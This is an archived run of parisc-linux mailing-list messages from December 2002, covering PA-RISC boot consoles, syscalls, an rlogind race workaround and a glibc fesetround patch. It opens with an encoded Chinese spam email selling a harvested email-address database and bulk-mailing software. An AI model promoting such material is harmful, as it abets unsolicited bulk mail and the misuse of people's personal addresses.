	by dsl2.external.hp.com (Postfix) with SMTP id D121E4829
	for <parisc-linux@lists.parisc-linux.org>; Mon,  2 Dec 2002 10:11:18 -0700 (MST)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16982

------=_NextPart_000_0064_36985556.A3C90004
Content-Type: multipart/alternative;
	boundary="----=_NextPart_001_0065_36985556.A3C90004"


------=_NextPart_001_0065_36985556.A3C90004
Content-Type: text/plain; charset=gb2312
Content-Transfer-Encoding: quoted-printable

óıʽдʼʹóıʽ


---------------------------
=C8=E7=B9=FB=D5=E2=B7=E2=D3=CA=BC=FE=B4=F2=C8=C5=C4=FA=C1=CB=A3=AC=B7=B3=C7=
=EB=CB=E6=CA=D6=C9=BE=B5=F4=A3=AC=B2=A2=C7=EB=BC=FB=C1=C2=A1=A3
=C8=F4=C4=FA=B2=BB=CF=A3=CD=FB=D4=D9=B4=CE=CA=D5=B5=BD=CE=D2=C3=C7=B5=C4=D3=
=CA=BC=FE=A3=AC=B7=B3=C7=EB=B7=C3=CE=CA=D2=D4=CF=C2=CD=F8=D6=B7=A3=BA
http://mailttttt.59i.net/DB_Agents/user_cancel.asp?id=3D3270&language=3Dgb=
2312




------=_NextPart_001_0065_36985556.A3C90004
Content-Type: text/html; charset=gb2312
Content-Transfer-Encoding: quoted-printable


<html>
<head>
<title>9800=B6=E0=CD=F2=C8=AB=B9=FA=D3=CA=D6=B7=D7=DC=BF=E2</title>
<meta http-equiv=3D"Content-Type" content=3D"text/html; charset=3Dgb2312">=

</head>

<body bgcolor=3D"#FFFFFF" text=3D"#000000">
<div align=3D"center">
  <table width=3D"680" border=3D"0" cellspacing=3D"0" cellpadding=3D"0">
    <tr> 
      <td>9800=B6=E0=CD=F2=C8=AB=B9=FA=D3=CA=D6=B7=D7=DC=BF=E2+100=B6=E0=BF=
=EE=D3=AA=CF=FA=C8=ED=BC=FE=B9=E2=C5=CC =D6=BB=D0=E8=D2=AA50=D4=AA=A1=A1=A1=
=A1 <a href=3D"http://www.cici.cc/index.asp">=CF=EA=C7=E9=B5=E3=BB=F7</a> 
        <p> =A1=A1=A1=A1=B1=BE=D5=BE=BE=AD=B9=FD=BD=FC=D2=BB=C4=EA=B5=C4=CB=
=D1=BC=AF=D5=FB=C0=ED=A1=A2=B7=B4=B8=B4=B2=E2=CA=D4=D1=E9=D6=A4,=CF=D6=B9=B2=
=D5=FB=C0=ED9800=B6=E0=CD=F2=B8=F6=B9=FA=C4=DA=D3=C3=BB=A7=D3=CA=BC=FE=B5=D8=
=D6=B7,=BE=AD=D7=A8=D2=B5=B9=A4=BE=DF=D0=A3=D1=E9=C9=B8=D1=A1=C8=A5=B3=FD=D6=
=D8=B8=B4=CE=DE=D0=A7,=B2=A2=CD=A8=B9=FD=D3=CA=BC=FE=B9=DC=C0=ED=B9=A4=BE=DF=
=D4=DA=CF=DF=D1=E9=D6=A4,=B2=A2=B0=B4=D0=D0=D2=B5=BA=CD=B5=D8=C7=F8=B7=D6=C0=
=E0=BA=C3.=C8=BB=BA=F3=CE=D2=C3=C7=D4=D9=D7=D0=CF=B8=BD=AB=D3=CA=D6=B7=BF=E2=
=D7=F6=B3=C9=B9=E2=C5=CC,=B7=B2=B9=BA=C2=F2=B1=BE=B2=FA=C6=B7=D5=DF,=BF=C9=D2=
=D4=C3=E2=B7=D1=B5=C3=B5=BD100=B6=E0=BF=EE=CD=F8=C2=E7=D3=AA=CF=FA=C8=ED=BC=
=FE(=B0=FC=C0=A8=C8=BA=B7=A2=A1=A2=CB=D1=CB=F7=A1=A2=D1=E9=D6=A4=B5=C8=B9=A4=
=BE=DF,=BE=F9=BF=C9=D5=FD=B3=A3=CA=B9=D3=C3,=D3=D0=B8=F6=B1=F0=D0=E8=D7=A2=B2=
=E1)=A3=AC=B2=A2=D4=DA=CE=B4=C0=B4=CA=FD=C4=EA=C4=DA=B5=C3=B5=BD=B1=BE=D5=BE=
=B5=C4=BC=BC=CA=F5=D6=A7=B3=D6=BA=CD=D0=C2=D3=CA=BC=FE=B5=D8=D6=B7=B5=C4=C3=
=E2=B7=D1=D4=F9=CB=CD=A1=A3=B1=BE=D5=BE=CC=E1=B9=A9=B5=C4=D3=CA=BC=FE=B5=D8=
=D6=B7=BF=E2=B2=FA=C6=B7=BE=DF=D3=D0=BC=AB=BA=C3=B5=C4=D6=CA=C1=BF=A3=AC=BC=
=AB=B5=CD=B5=C4=BC=DB=B8=F1=A3=AC=CD=EA=C9=C6=B5=C4=CA=DB=BA=F3=B7=FE=CE=F1=
=A3=AC=CA=DC=B5=BD=BF=CD=BB=A7=B5=C4=D2=BB=D6=C2=BA=C3=C6=C0=A1=A3=B0=D1=C4=
=BF=B9=E2=CD=B6=CF=F2=CE=D2=C3=C7=B5=C4=B2=FA=C6=B7=A3=AC=CA=C7=C4=FA=C3=F7=
=D6=C7=B5=C4=D1=A1=D4=F1=A3=AC=CE=D2=C3=C7=BD=AB=CE=AA=C4=FA=CC=E1=B9=A9=D7=
=EE=D3=C5=B5=C4=B7=FE=CE=F1=A1=A3 
        </p>
        <p> =B9=E2=C5=CC=BC=DB=B8=F1=A3=BA50=D4=AA=A1=A1=A1=A1 <a href=3D"=
http://www.cici.cc/indent/index.asp">=C1=A2=BC=B4=B6=A8=B9=BA</a> 
          =A1=A1=A1=A1<a href=3D"http://www.cici.cc/index.asp#1">=B8=B6=BF=
=EE=B7=BD=CA=BD</a></p>
        <p></p>
      </td>
    </tr>
    <tr> 
      <td>&nbsp;</td>
    </tr>
  </table>
  <p>&nbsp;</p>
  <p></p>
</div>
<hr><table width=3D658 border=3D0><tr><td valign=3Dtop><p><font size=3D2 >=
=C8=E7=B9=FB=D5=E2=B7=E2=D3=CA=BC=FE=B4=F2=C8=C5=C4=FA=C1=CB=A3=AC=B7=B3=C7=
=EB=CB=E6=CA=D6=C9=BE=B5=F4=A3=AC=B2=A2=C7=EB=BC=FB=C1=C2=A1=A3<br>=C8=F4=C4=
=FA=B2=BB=CF=A3=CD=FB=D4=D9=B4=CE=CA=D5=B5=BD=CE=D2=C3=C7=B5=C4=D3=CA=BC=FE=
=A3=AC<a href=3Dhttp://mailttttt.59i.net/DB_Agents/user_cancel.asp?id=3D327=
0&language=3Dgb2312>=C7=EB=B5=E3=BB=F7=D5=E2=C0=EF</a></font></p></td></tr>=
</table></body>
</html>


------=_NextPart_001_0065_36985556.A3C90004--



------=_NextPart_000_0064_36985556.A3C90004--




From - Thu Nov 08 21:25:45 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Tim Kemna" <t.kemna@student.utwente.nl>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] lifimage
Date: Mon, 2 Dec 2002 18:10:50 +0100
Lines: 35
Approved: news@gmane.org
Message-ID: <008a01c29a25$c37fdf40$4fe85982@kabel.utwente.nl>
References: <3DA3DE6600007D28@ocpmta4.be.tiscali.com> <003101c299e1$9b2e7680$4fe85982@kabel.utwente.nl> <20021202105023.GL24337@sleepie.demon.co.uk> <003a01c29a1d$cd94b800$4fe85982@kabel.utwente.nl> <20021202165219.GP24337@sleepie.demon.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621985 17966 80.91.229.3 (22 Nov 2014 02:06:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:06:25 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Dec  2 10:11:28 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from netlx010.civ.utwente.nl (netlx010.civ.utwente.nl [130.89.1.92])
	by dsl2.external.hp.com (Postfix) with ESMTP id 56BA64829
	for <parisc-linux@lists.parisc-linux.org>; Mon,  2 Dec 2002 10:11:27 -0700 (MST)
Original-Received: from kabel209080 (kabel209080.kabel.utwente.nl [130.89.232.79])
          by netlx010.civ.utwente.nl (8.11.4/HKD) with SMTP id gB2HBJV06642
          for <parisc-linux@lists.parisc-linux.org>; Mon, 2 Dec 2002 16:11:19 -0100
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 6.00.2720.3000
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000
X-UTwente-MailScanner: Found to be clean
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16983

It is a 712 indeed. I do have a keyboard and a monitor, but I'm tired of
switching those between my pc and my 712. At the moment I also don't have
internet access on my 712. So I will try to make the change by booting the
lifimage from a cd.

Tim

----- Oorspronkelijk bericht -----
Van: "Richard Hirst" <rhirst@linuxcare.com>
Aan: "Tim Kemna" <t.kemna@student.utwente.nl>
CC: <parisc-linux@lists.parisc-linux.org>
Verzonden: maandag 2 december 2002 17:52
Onderwerp: Re: [parisc-linux] lifimage


> On Mon, Dec 02, 2002 at 05:13:50PM +0100, Tim Kemna wrote:
> > I need the lifimage to setup my console to be the serial device. So I
can't
> > use netboot. Am I right?
>
> This is a 712, right?  I guess you do need a working graphical console
> in order to boot the lifimage and make the config change.  Do you not
> have access to a PS/2 keyboard and (sync-on-green?) monitor for long
> enough to do that?  My 17" iiyama monitor and a no-name 19" here work on
> my 712.
>
> Richard
>
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
>



From - Thu Nov 08 21:25:45 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "FARINATI,LEANDRO (HP-Brazil,ex1)" <leandro.farinati@hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] syscall
Date: Mon, 2 Dec 2002 10:43:53 -0800
Lines: 17
Approved: news@gmane.org
Message-ID: <CB813811CBF6D3118DCC00902740BB4A0BAF3E6F@xsp01.brazil.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
X-Trace: ger.gmane.org 1416621985 17969 80.91.229.3 (22 Nov 2014 02:06:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:06:25 +0000 (UTC)
To: "Parisc-Linux List (E-mail)" <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Dec  2 11:44:59 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from palrel12.hp.com (palrel12.hp.com [156.153.255.237])
	by dsl2.external.hp.com (Postfix) with ESMTP id 548204829
	for <parisc-linux@lists.parisc-linux.org>; Mon,  2 Dec 2002 11:44:59 -0700 (MST)
Original-Received: from xparelay2.ptp.hp.com (xparelay2.ptp.hp.com [15.1.28.65])
	by palrel12.hp.com (Postfix) with ESMTP id A69E3E00CCB
	for <parisc-linux@lists.parisc-linux.org>; Mon,  2 Dec 2002 10:44:54 -0800 (PST)
Original-Received: from xpabh3.ptp.hp.com (xpabh3.ptp.hp.com [15.1.28.63])
	by xparelay2.ptp.hp.com (Postfix) with ESMTP id 7D26117C
	for <parisc-linux@lists.parisc-linux.org>; Mon,  2 Dec 2002 10:44:34 -0800 (PST)
Original-Received: by xpabh3.ptp.hp.com with Internet Mail Service (5.5.2655.55)
	id <XPL86HR6>; Mon, 2 Dec 2002 10:44:24 -0800
X-Mailer: Internet Mail Service (5.5.2655.55)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16984

Hi people,

How I manually make a syscall passing the index?

Thanks in advance

-----------------------------------------------------------------------
              Leandro Marcondes Farinati
                    Software Developer

*   leandro.farinati@hp.com
*   +55-51-3316-2852 Telnet  725-2852
FAX +55-51-3316-2754 Mobile +55-51-9965-8020





From - Thu Nov 08 21:25:45 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] syscall
Date: Mon, 2 Dec 2002 11:46:36 -0800
Lines: 10
Approved: news@gmane.org
Message-ID: <20021202194636.GM19331@tausq.org>
References: <CB813811CBF6D3118DCC00902740BB4A0BAF3E6F@xsp01.brazil.hp.com>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621986 17974 80.91.229.3 (22 Nov 2014 02:06:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:06:26 +0000 (UTC)
Cc: "Parisc-Linux List (E-mail)" <parisc-linux@lists.parisc-linux.org>
To: "FARINATI,LEANDRO (HP-Brazil,ex1)" <leandro.farinati@hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Dec  2 12:42:10 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by dsl2.external.hp.com (Postfix) with ESMTP id 4BA444829
	for <parisc-linux@lists.parisc-linux.org>; Mon,  2 Dec 2002 12:42:10 -0700 (MST)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id 4389CCD839; Mon,  2 Dec 2002 11:46:36 -0800 (PST)
Content-Disposition: inline
In-Reply-To: <CB813811CBF6D3118DCC00902740BB4A0BAF3E6F@xsp01.brazil.hp.com>
User-Agent: Mutt/1.4i
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16985

> How I manually make a syscall passing the index?

Look at glibc/sysdeps/unix/sysv/linux/hppa/sysdep.c

randolph
-- 
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/


From - Thu Nov 08 21:25:45 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Larry McVoy <lm@bitmover.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] rlogin: connection closed (SOLUTION)
Date: Mon, 2 Dec 2002 13:54:25 -0800
Lines: 20
Approved: news@gmane.org
Message-ID: <200212022154.gB2LsPc31908@work.bitmover.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621986 17976 80.91.229.3 (22 Nov 2014 02:06:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:06:26 +0000 (UTC)
Cc: dev@bitmover.com
To: parisc-linux@lists.parisc-linux.org, phi@hpfrcu81.france.hp.com
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Dec  2 14:56:38 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.bitmover.com (bitmover.com [192.132.92.2])
	by dsl2.external.hp.com (Postfix) with ESMTP id 3F54F4829
	for <parisc-linux@lists.parisc-linux.org>; Mon,  2 Dec 2002 14:56:38 -0700 (MST)
Original-Received: from work.bitmover.com (work.bitmover.com [10.3.3.1])
	by mail.bitmover.com (8.11.6/8.11.6) with ESMTP id gB2MExX04343;
	Mon, 2 Dec 2002 14:14:59 -0800
Original-Received: (from lm@localhost)
	by work.bitmover.com (8.11.6/8.11.6) id gB2LsPc31908;
	Mon, 2 Dec 2002 13:54:25 -0800
X-MailScanner: Found to be clean
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16986

This fixes it.  Looks like a race, I wasn't inclined to dig further, this
got me past the problem.  I suspect that parisc fork() runs parent/child
in the opposite order from every other Unix and that causes a race but
I have not looked.

--lm

diff -Nur netkit-rsh-0.17/rlogind/rlogind.c NEW/netkit-rsh-0.17/rlogind/rlogind.c
--- netkit-rsh-0.17/rlogind/rlogind.c   Mon Dec  2 13:52:37 2002
+++ NEW/netkit-rsh-0.17/rlogind/rlogind.c       Mon Dec  2 13:48:48 2002
@@ -429,6 +429,7 @@
        if (netfd > 2) close(netfd);
        child(hname, termtype, lusername, authenticated);
     }
+    usleep(100000);
     close(slave);
     on = 1;
     ioctl(netfd, FIONBIO, &on);



From - Thu Nov 08 21:25:45 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [PATCH] fix masking error in fesetround() on hppa
Date: Mon, 2 Dec 2002 21:43:58 -0500
Lines: 43
Approved: news@gmane.org
Message-ID: <20021203024358.GA5487__37250.5117477433$1416621986$gmane$org@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="aM3YZ0Iwxop3KEKx"
X-Trace: ger.gmane.org 1416621986 17978 80.91.229.3 (22 Nov 2014 02:06:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:06:26 +0000 (UTC)
Cc: debian-glibc@lists.debian.org,
	parisc-linux@lists.parisc-linux.org
To: libc-alpha@sources.redhat.com
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Dec  2 19:44:38 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from systemhalted (CPE0080c82c70ca.cpe.net.cable.rogers.com [24.112.224.149])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1D35A4829
	for <parisc-linux@lists.parisc-linux.org>; Mon,  2 Dec 2002 19:44:38 -0700 (MST)
Original-Received: from carlos by systemhalted with local (Exim 3.36 #1 (Debian))
	id 18J32V-0001Rc-00; Mon, 02 Dec 2002 21:43:59 -0500
Mail-Followup-To: Carlos O'Donell <carlos@baldric.uwo.ca>,
	libc-alpha@sources.redhat.com, debian-glibc@lists.debian.org,
	parisc-linux@lists.parisc-linux.org
Content-Disposition: inline
User-Agent: Mutt/1.4i
X-Useless-Header: oooohhmmm, chant the email mantra...
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16987

--aM3YZ0Iwxop3KEKx
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline


libc-alpha,

Thanks to HP's testdrive users, we found and fixed a small masking bug
in fesetround(). Should use ~FE_DOWNWARD since this is the rounding mask
set to all ones, and will clear the mask before or'ing the round value.

It was suggested that a test case could be made of this, where glibc
tries to set and get various combinations of FE_DOWNWARD, FE_UPWARD,
FE_TONEAREST, and FE_UPWARD. I could provide such a testcase if it was
deemed usefull. 

c.

---

2002-12-02  Carlos O'Donell  <carlos@baldric.uwo.ca>

	* sysdeps/hppa/fpu/fesetround.c: 
	(fesetround): Use ~FE_DOWNWARD so both bits of RM are cleared.

--aM3YZ0Iwxop3KEKx
Content-Type: text/plain; charset=us-ascii
Content-Disposition: attachment; filename=03-glibc23-hppa-fesetround

--- glibc-2.3.1/sysdeps/hppa/fpu/fesetround.c	2002-12-02 16:36:36.000000000 -0500
+++ glibc-2.3.1/sysdeps/hppa/fpu/fesetround.c	2002-12-02 16:36:59.000000000 -0500
@@ -31,7 +31,7 @@
 
   /* Get the current status word. */
   __asm__ ("fstd %%fr0,0(%1)" : "=m" (*sw) : "r" (sw));
-  sw[0] &= ~FE_UPWARD;
+  sw[0] &= ~FE_DOWNWARD;
   sw[0] |= round;
   __asm__ ("fldd 0(%0),%%fr0" : : "r" (sw));
 

--aM3YZ0Iwxop3KEKx--


From - Thu Nov 08 21:25:45 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Roland McGrath <roland@redhat.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: [PATCH] fix masking error in fesetround() on hppa
Date: Mon, 2 Dec 2002 18:51:46 -0800
Lines: 9
Approved: news@gmane.org
Message-ID: <200212030251.gB32pk213186__20284.8151945092$1416621987$gmane$org@magilla.sf.frob.com>
References: <20021203024358.GA5487@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621987 17982 80.91.229.3 (22 Nov 2014 02:06:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:06:27 +0000 (UTC)
Cc: libc-alpha@sources.redhat.com, debian-glibc@lists.debian.org,
	parisc-linux@lists.parisc-linux.org
To: "Carlos O'Donell" <carlos@baldric.uwo.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Dec  2 19:51:54 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from gateway.sf.frob.com (adsl-64-163-212-31.dsl.snfc21.pacbell.net [64.163.212.31])
	by dsl2.external.hp.com (Postfix) with ESMTP id 621DD4829
	for <parisc-linux@lists.parisc-linux.org>; Mon,  2 Dec 2002 19:51:54 -0700 (MST)
Original-Received: from magilla.sf.frob.com (magilla.sf.frob.com [198.49.250.228])
	by gateway.sf.frob.com (Postfix) with ESMTP
	id 3253A36DE; Mon,  2 Dec 2002 18:51:48 -0800 (PST)
Original-Received: (from roland@localhost)
	by magilla.sf.frob.com (8.11.6/8.11.6) id gB32pk213186;
	Mon, 2 Dec 2002 18:51:46 -0800
In-Reply-To: Carlos O'Donell's message of  Monday, 2 December 2002 21:43:58 -0500 <20021203024358.GA5487@systemhalted>
X-Windows: flawed beyond belief.
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16988

I've put that fix in.  I'm not quite sure what you are suggesting for a new
test, but test cases that fail on known bug regressions (i.e. one that
fails before your fix and works after it) are always welcome.


Thanks,
Roland



From - Thu Nov 08 21:25:45 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: FW: RE: [parisc-linux] 2.4.20-rc1-pa7 boot problem on b180
Date: Mon, 02 Dec 2002 21:09:42 -0700
Lines: 29
Approved: news@gmane.org
Message-ID: <20021203040942.4180F482E@dsl2.external.hp.com>
References: <3DB577610000573D@ocpmta8.be.tiscali.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621987 17987 80.91.229.3 (22 Nov 2014 02:06:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:06:27 +0000 (UTC)
Cc: "Ryan Bradetich" <rbradetich@uswest.net>,
	parisc-linux@lists.parisc-linux.org
To: jsoe0708@tiscali.be
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Dec  2 21:09:42 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id 4180F482E; Mon,  2 Dec 2002 21:09:42 -0700 (MST)
In-Reply-To: Message from jsoe0708@tiscali.be 
   of "Thu, 28 Nov 2002 17:27:17 +0100." <3DB577610000573D@ocpmta8.be.tiscali.com> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
